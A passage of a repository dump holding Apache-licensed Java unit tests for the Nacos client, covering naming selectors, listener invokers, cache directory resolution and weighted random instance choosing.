nacosRestTemplateField.set(clientProxy, nacosRestTemplate);\n        String api = \"/api\";\n        Map<String, String> params = new HashMap<>();\n        Map<String, String> body = new HashMap<>();\n        String method = HttpMethod.GET;\n        String curServer = \"127.0.0.1\";\n        //then\n        assertThrows(NacosException.class, () -> clientProxy.callServer(api, params, body, curServer, method));\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/selector/DefaultNamingSelectorTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.selector;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.selector.NamingContext;\nimport com.alibaba.nacos.api.naming.selector.NamingResult;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Random;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.when;\n\npublic class DefaultNamingSelectorTest {\n    \n    @Test\n    public void testSelect() {\n        DefaultNamingSelector namingSelector = new DefaultNamingSelector(Instance::isHealthy);\n        Random random = new Random();\n        int total = random.nextInt(32) + 1;\n        int health = random.nextInt(total);\n        \n        NamingContext namingContext = getMockNamingContext(total, health);\n        NamingResult result = namingSelector.select(namingContext);\n        \n        assertEquals(health, result.getResult().size());\n        result.getResult().forEach(ins -> assertTrue(ins.isHealthy()));\n    }\n    \n    private NamingContext getMockNamingContext(int total, int health) {\n        NamingContext namingContext = mock(NamingContext.class);\n        when(namingContext.getInstances()).thenReturn(getInstance(total, health));\n        return namingContext;\n    }\n    \n    private List<Instance> getInstance(int total, int health) {\n        List<Instance> list = new ArrayList<>(total);\n        for (int i = 0; i < total; i++) {\n            Instance instance = new Instance();\n            instance.setHealthy(false);\n            list.add(instance);\n        }\n        \n        for (int i = 0; i < health; i++) {\n            list.get(i).setHealthy(true);\n        }\n        \n        return list;\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/selector/NamingListenerInvokerTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.selector;\n\nimport com.alibaba.nacos.api.naming.listener.AbstractEventListener;\nimport com.alibaba.nacos.api.naming.listener.EventListener;\nimport com.alibaba.nacos.api.naming.listener.NamingEvent;\nimport com.alibaba.nacos.client.naming.event.InstancesDiff;\nimport com.alibaba.nacos.client.naming.listener.AbstractNamingChangeListener;\nimport com.alibaba.nacos.client.naming.listener.NamingChangeEvent;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.spy;\nimport static org.mockito.Mockito.verify;\n\npublic class NamingListenerInvokerTest {\n    \n    @Test\n    public void testEventListener() {\n        EventListener listener = mock(EventListener.class);\n        NamingListenerInvoker listenerInvoker = new NamingListenerInvoker(listener);\n        NamingEvent event = new NamingEvent(\"serviceName\", Collections.emptyList());\n        assertFalse(listenerInvoker.isInvoked());\n        listenerInvoker.invoke(event);\n        verify(listener).onEvent(event);\n        assertTrue(listenerInvoker.isInvoked());\n    }\n    \n    @Test\n    public void testAbstractEventListener() {\n        AbstractEventListener listener = mock(AbstractEventListener.class);\n        NamingListenerInvoker listenerInvoker = new NamingListenerInvoker(listener);\n        NamingEvent event = new NamingEvent(\"serviceName\", Collections.emptyList());\n        assertFalse(listenerInvoker.isInvoked());\n        listenerInvoker.invoke(event);\n        verify(listener).getExecutor();\n        assertTrue(listenerInvoker.isInvoked());\n    }\n    \n    @Test\n    public void testAbstractNamingChaneEventListener() {\n        AbstractNamingChangeListener listener = spy(AbstractNamingChangeListener.class);\n        NamingListenerInvoker listenerInvoker = new NamingListenerInvoker(listener);\n        NamingChangeEvent event = new NamingChangeEvent(\"serviceName\", Collections.emptyList(), new InstancesDiff());\n        assertFalse(listenerInvoker.isInvoked());\n        listenerInvoker.invoke(event);\n        verify(listener).onChange(event);\n        assertTrue(listenerInvoker.isInvoked());\n    }\n    \n    @Test\n    public void testEquals() {\n        EventListener listener1 = mock(EventListener.class);\n        EventListener listener2 = mock(EventListener.class);\n        NamingListenerInvoker invoker1 = new NamingListenerInvoker(listener1);\n        NamingListenerInvoker invoker2 = new NamingListenerInvoker(listener1);\n        NamingListenerInvoker invoker3 = new NamingListenerInvoker(listener2);\n        assertEquals(invoker1.hashCode(), invoker2.hashCode());\n        assertEquals(invoker1, invoker2);\n        assertNotEquals(invoker1.hashCode(), invoker3.hashCode());\n        assertNotEquals(invoker1, invoker3);\n        assertNotEquals(null, invoker1);\n        assertEquals(invoker1, invoker1);\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/selector/NamingSelectorFactoryTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.selector;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.selector.NamingContext;\nimport com.alibaba.nacos.api.naming.selector.NamingResult;\nimport com.alibaba.nacos.api.naming.selector.NamingSelector;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.LinkedHashMap;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.when;\n\npublic class NamingSelectorFactoryTest {\n    \n    @Test\n    public void testNewClusterSelector1() {\n        Instance ins1 = new Instance();\n        ins1.setClusterName(\"a\");\n        Instance ins2 = new Instance();\n        ins2.setClusterName(\"b\");\n        Instance ins3 = new Instance();\n        ins3.setClusterName(\"c\");\n        \n        NamingContext namingContext = mock(NamingContext.class);\n        when(namingContext.getInstances()).thenReturn(Arrays.asList(ins1, ins2, ins3));\n        \n        NamingSelector namingSelector1 = NamingSelectorFactory.newClusterSelector(Collections.singletonList(\"a\"));\n        NamingResult result1 = namingSelector1.select(namingContext);\n        assertEquals(\"a\", result1.getResult().get(0).getClusterName());\n        \n        NamingSelector namingSelector2 = NamingSelectorFactory.newClusterSelector(Collections.emptyList());\n        NamingResult result2 = namingSelector2.select(namingContext);\n        assertEquals(3, result2.getResult().size());\n    }\n    \n    @Test\n    public void testNewClusterSelector2() {\n        NamingSelector namingSelector1 = NamingSelectorFactory.newClusterSelector(Arrays.asList(\"a\", \"b\", \"c\"));\n        NamingSelector namingSelector2 = NamingSelectorFactory.newClusterSelector(Arrays.asList(\"c\", \"b\", \"a\"));\n        NamingSelector namingSelector3 = NamingSelectorFactory.newClusterSelector(Arrays.asList(\"a\", \"b\", \"c\", \"c\"));\n        NamingSelector namingSelector4 = NamingSelectorFactory.newClusterSelector(Arrays.asList(\"d\", \"e\"));\n        \n        assertEquals(namingSelector1, namingSelector2);\n        assertEquals(namingSelector1, namingSelector3);\n        assertNotEquals(namingSelector1, namingSelector4);\n    }\n    \n    @Test\n    public void testNewIpSelector() {\n        Instance ins1 = new Instance();\n        ins1.setIp(\"172.18.137.120\");\n        Instance ins2 = new Instance();\n        ins2.setIp(\"172.18.137.121\");\n        Instance ins3 = new Instance();\n        ins3.setIp(\"172.18.136.111\");\n        \n        NamingContext namingContext = mock(NamingContext.class);\n        when(namingContext.getInstances()).thenReturn(Arrays.asList(ins1, ins2, ins3));\n        \n        NamingSelector ipSelector = NamingSelectorFactory.newIpSelector(\"^172\\\\.18\\\\.137.*\");\n        NamingResult result = ipSelector.select(namingContext);\n        List<Instance> list = result.getResult();\n        \n        assertEquals(2, list.size());\n        assertEquals(ins1.getIp(), list.get(0).getIp());\n        assertEquals(ins2.getIp(), list.get(1).getIp());\n    }\n    \n    @Test\n    public void testNewMetadataSelector() {\n        Instance ins1 = new Instance();\n        ins1.setMetadata(new LinkedHashMap<>()); \n        ins1.addMetadata(\"a\", \"1\");\n        ins1.addMetadata(\"b\", \"2\");\n        Instance ins2 = new Instance();\n        ins2.addMetadata(\"a\", \"1\");\n        Instance ins3 = new Instance();\n        ins3.addMetadata(\"b\", \"2\");\n        \n        NamingContext namingContext = mock(NamingContext.class);\n        when(namingContext.getInstances()).thenReturn(Arrays.asList(ins1, ins2, ins3));\n        \n        NamingSelector metadataSelector = NamingSelectorFactory.newMetadataSelector(new LinkedHashMap() {\n            {\n                put(\"a\", \"1\");\n                put(\"b\", \"2\");\n            }\n        });\n        List<Instance> result = metadataSelector.select(namingContext).getResult();\n        \n        assertEquals(1, result.size());\n        assertEquals(ins1, result.get(0));\n    }\n    \n    @Test\n    public void testNewMetadataSelector2() {\n        Instance ins1 = new Instance();\n        ins1.setMetadata(new LinkedHashMap<>()); \n        ins1.addMetadata(\"a\", \"1\");\n        ins1.addMetadata(\"c\", \"3\");\n        Instance ins2 = new Instance();\n        ins2.addMetadata(\"b\", \"2\");\n        Instance ins3 = new Instance();\n        ins3.addMetadata(\"c\", \"3\");\n        \n        NamingContext namingContext = mock(NamingContext.class);\n        when(namingContext.getInstances()).thenReturn(Arrays.asList(ins1, ins2, ins3));\n        \n        NamingSelector metadataSelector = NamingSelectorFactory.newMetadataSelector(new LinkedHashMap() {\n            {\n                put(\"a\", \"1\");\n                put(\"b\", \"2\");\n            }\n        }, true);\n        List<Instance> result = metadataSelector.select(namingContext).getResult();\n        \n        assertEquals(2, result.size());\n        assertEquals(ins1, result.get(0));\n        assertEquals(ins2, result.get(1));\n    }\n    \n    @Test\n    public void testHealthSelector() {\n        Instance ins1 = new Instance();\n        Instance ins2 = new Instance();\n        Instance ins3 = new Instance();\n        ins3.setHealthy(false);\n        \n        NamingContext namingContext = mock(NamingContext.class);\n        when(namingContext.getInstances()).thenReturn(Arrays.asList(ins1, ins2, ins3));\n        \n        List<Instance> result = NamingSelectorFactory.HEALTHY_SELECTOR.select(namingContext).getResult();\n        \n        assertEquals(2, result.size());\n        assertTrue(result.contains(ins1));\n        assertTrue(result.contains(ins2));\n        assertTrue(result.get(0).isHealthy());\n        assertTrue(result.get(1).isHealthy());\n    }\n    \n    @Test\n    public void testEmptySelector() {\n        Instance ins1 = new Instance();\n        Instance ins2 = new Instance();\n        Instance ins3 = new Instance();\n        \n        NamingContext namingContext = mock(NamingContext.class);\n        when(namingContext.getInstances()).thenReturn(Arrays.asList(ins1, ins2, ins3));\n        \n        List<Instance> result = NamingSelectorFactory.EMPTY_SELECTOR.select(namingContext).getResult();\n        \n        assertEquals(3, result.size());\n        assertTrue(result.contains(ins1));\n        assertTrue(result.contains(ins2));\n        assertTrue(result.contains(ins3));\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/selector/NamingSelectorWrapperTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.selector;\n\nimport com.alibaba.nacos.api.naming.listener.EventListener;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.selector.NamingSelector;\nimport com.alibaba.nacos.client.naming.event.InstancesChangeEvent;\nimport com.alibaba.nacos.client.naming.event.InstancesDiff;\nimport com.alibaba.nacos.client.naming.listener.NamingChangeEvent;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\nimport java.util.HashSet;\nimport java.util.Objects;\nimport java.util.Set;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.argThat;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.verify;\n\npublic class NamingSelectorWrapperTest {\n    \n    @Test\n    public void testEquals() {\n        EventListener listener = mock(EventListener.class);\n        NamingSelector selector1 = mock(NamingSelector.class);\n        NamingSelector selector2 = mock(NamingSelector.class);\n        NamingSelectorWrapper sw1 = new NamingSelectorWrapper(selector1, listener);\n        NamingSelectorWrapper sw2 = new NamingSelectorWrapper(selector2, listener);\n        NamingSelectorWrapper sw3 = new NamingSelectorWrapper(selector1, listener);\n        \n        assertNotEquals(sw1.hashCode(), sw2.hashCode());\n        assertEquals(sw1.hashCode(), sw3.hashCode());\n        assertNotEquals(sw1, sw2);\n        assertEquals(sw1, sw3);\n        \n        Set<NamingSelectorWrapper> set = new HashSet<>();\n        set.add(sw1);\n        assertFalse(set.contains(sw2));\n        assertTrue(set.contains(sw3));\n        assertTrue(set.add(sw2));\n        assertFalse(set.add(sw3));\n        assertTrue(set.remove(sw3));\n        \n        assertEquals(sw1, new NamingSelectorWrapper(\"a\", \"b\", \"c\", selector1, listener));\n    }\n    \n    @Test\n    public void testSelectable() {\n        NamingSelectorWrapper selectorWrapper = new NamingSelectorWrapper(null, null);\n        assertFalse(selectorWrapper.isSelectable(null));\n        InstancesChangeEvent event1 = new InstancesChangeEvent(null, null, null, null, null, null);\n        assertFalse(selectorWrapper.isSelectable(event1));\n        InstancesChangeEvent event2 = new InstancesChangeEvent(null, null, null, null, null, new InstancesDiff());\n        assertFalse(selectorWrapper.isSelectable(event2));\n        InstancesChangeEvent event3 = new InstancesChangeEvent(null, null, null, null, Collections.emptyList(), null);\n        assertFalse(selectorWrapper.isSelectable(event3));\n        InstancesChangeEvent event4 = new InstancesChangeEvent(null, null, null, null, Collections.emptyList(),\n                new InstancesDiff());\n        assertTrue(selectorWrapper.isSelectable(event4));\n    }\n    \n    @Test\n    public void testCallable() {\n        NamingSelectorWrapper selectorWrapper = new NamingSelectorWrapper(null, null);\n        InstancesDiff instancesDiff = new InstancesDiff(null, Collections.singletonList(new Instance()), null);\n        NamingChangeEvent changeEvent = new NamingChangeEvent(\"serviceName\", Collections.emptyList(), instancesDiff);\n        assertTrue(selectorWrapper.isCallable(changeEvent));\n        changeEvent.getRemovedInstances().clear();\n        assertFalse(selectorWrapper.isCallable(changeEvent));\n    }\n    \n    @Test\n    public void testNotifyListener() {\n        EventListener listener = mock(EventListener.class);\n        NamingSelectorWrapper selectorWrapper = new NamingSelectorWrapper(\n                new DefaultNamingSelector(Instance::isHealthy), listener);\n        InstancesDiff diff = new InstancesDiff(null, Collections.singletonList(new Instance()), null);\n        InstancesChangeEvent event = new InstancesChangeEvent(null, \"serviceName\", \"groupName\", \"clusters\",\n                Collections.emptyList(), diff);\n        selectorWrapper.notifyListener(event);\n        verify(listener).onEvent(argThat(Objects::nonNull));\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/selector/ServiceInfoContextTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.selector;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass ServiceInfoContextTest {\n    \n    @Test\n    void testGetAll() {\n        ServiceInfo serviceInfo = ServiceInfo.fromKey(\"aaa@@bbb@@ccc,ddd\");\n        serviceInfo.addHost(new Instance());\n        ServiceInfoContext context = new ServiceInfoContext(serviceInfo);\n        assertEquals(1, context.getInstances().size());\n        assertEquals(\"aaa\", context.getGroupName());\n        assertEquals(\"bbb\", context.getServiceName());\n        assertEquals(\"ccc,ddd\", context.getClusters());\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/utils/CacheDirUtilTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.utils;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass CacheDirUtilTest {\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        System.clearProperty(\"user.home\");\n        System.clearProperty(\"JM.SNAPSHOT.PATH\");\n    }\n    \n    @Test\n    void testInitCacheDirWithDefaultRootAndWithoutCache() {\n        System.setProperty(\"user.home\", \"/home/admin\");\n        String actual = CacheDirUtil.initCacheDir(\"test\", NacosClientProperties.PROTOTYPE.derive());\n        assertEquals(\"/home/admin/nacos/naming/test\", actual);\n    }\n    \n    @Test\n    void testInitCacheDirWithDefaultRootAndWithoutCache2() {\n        NacosClientProperties properties = NacosClientProperties.PROTOTYPE.derive();\n        properties.setProperty(\"user.home\", \"/home/test\");\n        String actual = CacheDirUtil.initCacheDir(\"test\", properties);\n        assertEquals(\"/home/test/nacos/naming/test\", actual);\n    }\n    \n    @Test\n    void testInitCacheDirWithDefaultRootAndWithCache() {\n        System.setProperty(\"user.home\", \"/home/admin\");\n        NacosClientProperties properties = NacosClientProperties.PROTOTYPE.derive();\n        properties.setProperty(PropertyKeyConst.NAMING_CACHE_REGISTRY_DIR, \"custom\");\n        String actual = CacheDirUtil.initCacheDir(\"test\", properties);\n        assertEquals(\"/home/admin/nacos/custom/naming/test\", actual);\n    }\n    \n    @Test\n    void testInitCacheDirWithJmSnapshotPathRootAndWithoutCache() {\n        System.setProperty(\"JM.SNAPSHOT.PATH\", \"/home/snapshot\");\n        String actual = CacheDirUtil.initCacheDir(\"test\", NacosClientProperties.PROTOTYPE.derive());\n        assertEquals(\"/home/snapshot/nacos/naming/test\", actual);\n    }\n    \n    @Test\n    void testInitCacheDirWithJmSnapshotPathRootAndWithoutCache2() {\n        NacosClientProperties properties = NacosClientProperties.PROTOTYPE.derive();\n        properties.setProperty(\"JM.SNAPSHOT.PATH\", \"/home/custom/snapshot\");\n        String actual = CacheDirUtil.initCacheDir(\"test\", properties);\n        assertEquals(\"/home/custom/snapshot/nacos/naming/test\", actual);\n    }\n    \n    @Test\n    void testInitCacheDirWithJmSnapshotPathRootAndWithCache() {\n        System.setProperty(\"user.home\", \"/home/snapshot\");\n        NacosClientProperties properties = NacosClientProperties.PROTOTYPE.derive();\n        properties.setProperty(PropertyKeyConst.NAMING_CACHE_REGISTRY_DIR, \"custom\");\n        String actual = CacheDirUtil.initCacheDir(\"test\", properties);\n        assertEquals(\"/home/snapshot/nacos/custom/naming/test\", actual);\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/utils/ChooserTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.utils;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.concurrent.ThreadLocalRandom;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ChooserTest {\n    \n    @Test\n    void testChooser() {\n        //Test the correctness of Chooser, the weight of the final selected instance must be greater than 0\n        List<Instance> hosts = getInstanceList();\n        Instance target = getRandomInstance(hosts);\n        assertTrue(hosts.contains(target) && target.getWeight() > 0);\n    }\n    \n    @Test\n    void testChooserRandomForEmptyList() {\n        Chooser<String, String> chooser = new Chooser<>(\"test\");\n        assertEquals(\"test\", chooser.getUniqueKey());\n        assertNull(chooser.random());\n    }\n    \n    @Test\n    void testChooserRandomForOneSizeList() {\n        List<Pair<String>> list = new LinkedList<>();\n        list.add(new Pair<>(\"test\", 1));\n        Chooser<String, String> chooser = new Chooser<>(\"test\", list);\n        String actual = chooser.random();\n        assertNotNull(actual);\n        assertEquals(\"test\", actual);\n    }\n    \n    @Test\n    void testChooserRandom() {\n        List<Pair<String>> list = new LinkedList<>();\n        list.add(new Pair<>(\"test\", 1));\n        list.add(new Pair<>(\"test2\", 1));\n        Chooser<String, String> chooser = new Chooser<>(\"test\", list);\n        String actual = chooser.random();\n        assertNotNull(actual);\n        assertTrue(actual.equals(\"test\") || actual.equals(\"test2\"));\n    }\n    \n    @Test\n    void testOnlyOneInstanceWeightIsNotZero() {\n        // If there is only one instance whose weight is not zero, it will be selected\n        List<Instance> hosts = getOneInstanceNotZeroList();\n        \n        Instance target = getRandomInstance(hosts);\n        assertTrue(target.getWeight() > 0);\n    }\n    \n    @Test\n    void testInstanceWeightAllZero() {\n        // Throw an IllegalStateException when all instances have a weight of zero.\n        List<Instance> hosts = getInstanceWeightAllZero();\n        \n        try {\n            getRandomInstance(hosts);\n        } catch (Exception e) {\n            assertTrue(e instanceof IllegalStateException);\n        }\n    }\n    \n    @Test\n    void testRandomWithWeightForNaNAndInfinity() {\n        assertThrows(IllegalStateException.class, () -> {\n            List<Pair<String>> list = new LinkedList<>();\n            list.add(new Pair<>(\"test\", Double.NaN));\n            list.add(new Pair<>(\"test2\", Double.POSITIVE_INFINITY));\n            new Chooser<>(\"test\", list);\n        });\n    }\n    \n    @Test\n    void testRefresh() {\n        Chooser<String, String> chooser = new Chooser<>(\"test\");\n        assertEquals(\"test\", chooser.getUniqueKey());\n        assertNull(chooser.random());\n        List<Pair<String>> list = new LinkedList<>();\n        list.add(new Pair<>(\"test\", 1));\n        chooser.refresh(list);\n        String actual = chooser.random();\n        assertNotNull(actual);\n        assertEquals(\"test\", actual);\n    }\n    \n    @Test\n    void testEqualsHashCode() {\n        List<Pair<String>> list = new LinkedList<>();\n        list.add(new Pair<>(\"test\", 1));\n        list.add(new Pair<>(\"test2\", 1));\n        Chooser<String, String> chooser = new Chooser<>(\"test\", list);\n        assertEquals(\"test\".hashCode(), chooser.hashCode());\n        assertEquals(chooser, chooser);\n        assertNotEquals(null, chooser);\n        assertNotEquals(\"test\", chooser);\n        Chooser<String, String> chooser1 = new Chooser<>(null, null);\n        assertNotEquals(chooser, chooser1);\n        assertNotEquals(chooser1, chooser);\n        Chooser<String, String> chooser2 = new Chooser<>(\"test\", Collections.emptyList());\n        assertNotEquals(chooser, chooser2);\n        assertNotEquals(chooser2, chooser);\n        Chooser<String, String> chooser3 = new Chooser<>(\"test1\", list);\n        assertNotEquals(chooser, chooser3);\n        Chooser<String, String> chooser4 = new Chooser<>(\"test\", list);\n        assertEquals(chooser, chooser4);\n    }\n    \n    @Test\n    void testRefEqualsHashCode() {\n        List<Pair<String>> list = new LinkedList<>();\n        list.add(new Pair<>(\"test\", 1));\n        list.add(new Pair<>(\"test2\", 1));\n        Chooser<String, String> chooser = new Chooser<>(\"test\", list);\n        Chooser.Ref ref = chooser.getRef();\n        assertEquals(list.hashCode(), ref.hashCode());\n        assertEquals(ref, ref);\n        assertNotEquals(null, ref);\n        assertNotEquals(ref, chooser);\n        Chooser.Ref ref1 = new Chooser<>(\"test\", null).getRef();\n        assertNotEquals(ref, ref1);\n        assertNotEquals(ref1, ref);\n        Chooser.Ref ref2 = new Chooser<>(\"test\", list).getRef();\n        assertEquals(ref, ref2);\n    }\n    \n    private List<Instance> getInstanceList() {\n        List<Instance> list = new ArrayList<>();\n        int size = ThreadLocalRandom.current().nextInt(0, 1000);\n        for (int i = 0; i < size; i++) {\n            Instance instance = new Instance();\n            instance.setInstanceId(String.valueOf(i));\n            instance.setWeight(i);\n            list.add(instance);\n        }\n        return list;\n    }\n    \n    private List<Instance> getOneInstanceNotZeroList() {\n        List<Instance> list = new ArrayList<>();\n        int size = ThreadLocalRandom.current().nextInt(0, 1000);\n        int notZeroIndex = ThreadLocalRandom.current().nextInt(0, size - 1);\n        \n        for (int i = 0; i < size; i++) {\n            Instance instance = new Instance();\n            instance.setInstanceId(String.valueOf(i));\n            if (i == notZeroIndex) {\n                instance.setWeight(notZeroIndex + 1);\n            } else {\n                instance.setWeight(0);\n            }\n            list.add(instance);\n        }\n        return list;\n    }\n    \n    private List<Instance> getInstanceWeightAllZero() {\n        List<Instance> list = new ArrayList<>();\n        int size = ThreadLocalRandom.current().nextInt(0, 1000);\n        \n        for (int i = 0; i < size; i++) {\n            Instance instance = new Instance();\n            instance.setInstanceId(String.valueOf(i));\n            instance.setWeight(0);\n            list.add(instance);\n        }\n        return list;\n    }\n    \n    private Instance getRandomInstance(List<Instance> hosts) {\n        List<Pair<Instance>> hostsWithWeight = new ArrayList<>();\n        for (Instance host : hosts) {\n            if (host.isHealthy()) {\n                hostsWithWeight.add(new Pair<>(host, host.getWeight()));\n            }\n        }\n        Chooser<String, Instance> vipChooser = new Chooser<>(\"www.taobao.com\", hostsWithWeight);\n        \n        return vipChooser.randomWithWeight();\n    }\n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/utils/ConcurrentDiskUtilTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.utils;\n\nimport com.alibaba.nacos.client.utils.ConcurrentDiskUtil;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.nio.ByteBuffer;\nimport java.nio.channels.FileChannel;\nimport java.nio.charset.StandardCharsets;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.mockito.ArgumentMatchers.anyBoolean;\nimport static org.mockito.ArgumentMatchers.anyLong;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.when;\n\nclass ConcurrentDiskUtilTest {\n    \n    @Test\n    void testReadAndWrite() throws IOException {\n        File tempFile = File.createTempFile(\"aaa\", \"bbb\");\n        String fileName = tempFile.getAbsolutePath();\n        String content = \"hello\";\n        String charset = 